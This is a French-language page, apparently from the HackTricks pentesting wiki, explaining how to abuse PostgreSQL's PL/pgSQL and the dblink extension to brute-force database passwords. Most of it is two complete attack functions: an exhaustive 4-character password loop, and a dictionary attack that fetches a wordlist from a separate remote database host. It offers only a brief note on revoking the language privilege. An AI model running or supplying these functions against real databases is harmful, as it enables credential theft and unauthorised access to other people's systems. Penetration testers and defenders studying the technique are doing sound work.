PL/pgSQL Password Bruteforce

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Trouvez plus d'informations sur cette attaque dans le document original.

PL/pgSQL est un langage de programmation complet qui va au-delà des capacités du SQL en offrant un contrôle procédural amélioré. Cela inclut l'utilisation de boucles et de diverses structures de contrôle. Les fonctions créées dans le langage PL/pgSQL peuvent être invoquées par des instructions SQL et des déclencheurs, élargissant ainsi la portée des opérations dans l'environnement de la base de données.

Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs, mais ils doivent exister dans la base de données. Vous pouvez vérifier leur existence en utilisant:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

Par défaut, la création de fonctions est un privilège accordé à PUBLIC, où PUBLIC fait référence à chaque utilisateur sur ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC:

REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Dans ce cas, notre requête précédente produirait des résultats différents :

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

Notez que pour que le script suivant fonctionne la fonction dblink doit exister. Si ce n'est pas le cas, vous pouvez essayer de la créer avec

CREATE EXTENSION dblink;

Brute Force de Mot de Passe

Voici comment vous pourriez effectuer une attaque de force brute sur un mot de passe de 4 caractères :

//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Notez que même le brute-force de 4 caractères peut prendre plusieurs minutes.

Vous pourriez également télécharger une liste de mots et essayer uniquement ces mots de passe (attaque par dictionnaire) :

//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Dernière mise à jour